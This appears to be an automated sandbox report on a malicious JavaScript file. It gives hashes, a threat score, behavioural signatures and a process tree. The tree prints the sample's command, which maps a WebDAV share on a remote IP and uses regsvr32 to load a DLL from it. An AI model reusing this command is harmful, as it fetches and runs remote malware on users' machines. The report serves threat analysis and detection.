Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 07:44

General

  • Target

    183541544152277282.js

  • Size

    6KB

  • MD5

    7bdb9d48432514c9210cc63f2727dcbb

  • SHA1

    5e6db256d6c41f5e92ca87fb11a1ab6231d94705

  • SHA256

    79578f862c66d40cb3bd063401eb40571d9b9cc31e6e89f1bc8b8d7ceec7c3c1

  • SHA512

    56996a01534756f4cc66b93844868b4b28acd5b777106f614e3d55c90e0eff2dc9a29870abafa4dee8ff928de36c21ba030ba4e487be8dfdf6bdf07e0e95e562

  • SSDEEP

    192:S8y7HsboR0wMNkkxyyU7s/1wMYw/tM9I65fKs9b1fl9xOb6xMblTb26BxTGdUSX6:S8y7HsbM0wMNkkxHU7Y1wMYw/tM9I65S

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\183541544152277282.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\260412418013593.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2708

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads